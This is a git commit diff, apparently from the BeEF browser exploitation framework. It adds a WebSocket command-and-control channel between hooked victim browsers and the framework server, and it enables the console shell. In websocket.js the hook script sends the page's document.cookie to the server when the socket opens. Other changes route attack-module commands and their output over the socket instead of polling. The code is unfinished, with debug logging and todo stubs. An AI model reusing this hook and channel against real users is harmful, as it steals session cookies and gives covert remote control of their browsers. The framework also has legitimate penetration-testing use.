Added polling stop if websocket is up in updater.js

added hash for websocket in websocket.rb
added check for websocket existence in command.rb and net.js
added a POC onmessage function in websocket.js
added check for websocket support in init.js
added a POC send to send command output to server in beef.js
This commit is contained in:
Graziano Felline
2012-04-11 20:52:47 +02:00
parent 302512e172
commit af9b3c97b5
8 changed files with 57 additions and 15 deletions

View File

@@ -71,4 +71,4 @@ beef:
enable: false
console:
shell:
enable: false
enable: true

View File

@@ -48,9 +48,16 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
/*controllare se il websocket è attivo*/
},
console.log("inside execute socket status "+beef.websocket.socket);
if(beef.websocket.socket == null)
this.commands.push(fn);
else
beef.websocket.send(fn);
/*@todo controllare se il websocket è attivo in tal caso
beef.websocket.send(fn) */
// ;
},
/**

View File

@@ -65,8 +65,8 @@ function beef_init() {
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
/*@TODO we need a check here*/
beef.websocket.start();
if(beef.browser.hasWebSocket())
beef.websocket.start();
}
}

View File

@@ -86,8 +86,14 @@ beef.net = {
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
/*@todo insert ceck websocket up?*/
console.log("inside SEND socket status "+beef.websocket.socket);
if (beef.websocket.socket == null){
this.queue(handler, cid, results, callback);
this.flush();
this.flush(); }
else
beef.websocket.send(results);
},
//Flush all currently queued commands to the framework

View File

@@ -57,6 +57,8 @@ beef.updater = {
this.get_commands(); /*Polling*/
}
}
/*@Todo Simple ceck to stop polling */
if (beef.websocket.socket == null)
setTimeout("beef.updater.check();", beef.updater.timeout);
},

View File

@@ -28,7 +28,7 @@ beef.websocket = {
if (beef.browser.isFF() && ! beef.browser.isFF11) {
beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
} else {
} else{
beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
}
@@ -40,9 +40,16 @@ beef.websocket = {
/*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
this.socket.onopen = function () {
console.log("Socket has been opened!");
beef.websocket.send("helo");
/*send browser id*/
beef.websocket.send(document.cookie);
console.log("Connected and Helo");
}
this.socket.onmessage = function (message){
//@todo append the command to head in <script> </script>
console.log("We recive a message "+message.data);
}
},

View File

@@ -48,9 +48,16 @@ module Modules
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
print_info(BeEF::Core::Websocket::Websocket.getsocket(hooked_browser))
@body << command_module.output + "\n\n"
#@todo radoen debug this one
if BeEF::Core::Websocket::Websocket.getsocket(hooked_browser)
BeEF::Core::Websocket::Websocket.sent(command,hooked_browser)
else
@body << command_module.output + "\n\n"
end
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass

View File

@@ -17,9 +17,13 @@ module BeEF
module Core
module Websocket
class Websocket
#all hooked browser
@@activeSocket= Hash.new #empty at begin
def initialize
print_info("/n In activesocket we have #{@@activeSocket}")
config = BeEF::Core::Configuration.instance
port = config.get("beef.http.websocket.port")
secure = config.get("beef.http.websocket.secure")
@@ -39,17 +43,26 @@ module BeEF
#command interpretation
message=ws.receive()
if (message!="helo")
#module return value case
else
if(/BEEFHOOK=/.match(message))
print_info("Browser #{ws.origin} says helo! ws is running")
#insert new connection in activesocket
@@activeSocket[message.split(/BEEFHOOK=/)] = ws
print_debug("In activesocket we have #{@@activeSocket}")
end
end
end
end
}
end
#@note used in command.rd return nill if browser is not in list else giveback websocket
def getsocket (browser_id)
@@activeSocket[browser_id]
end
#@note send a function to hooked and ws browser
def sent (fn ,browser_id )
@@activeSocket[browser_id].send(fn)
end
end
end
end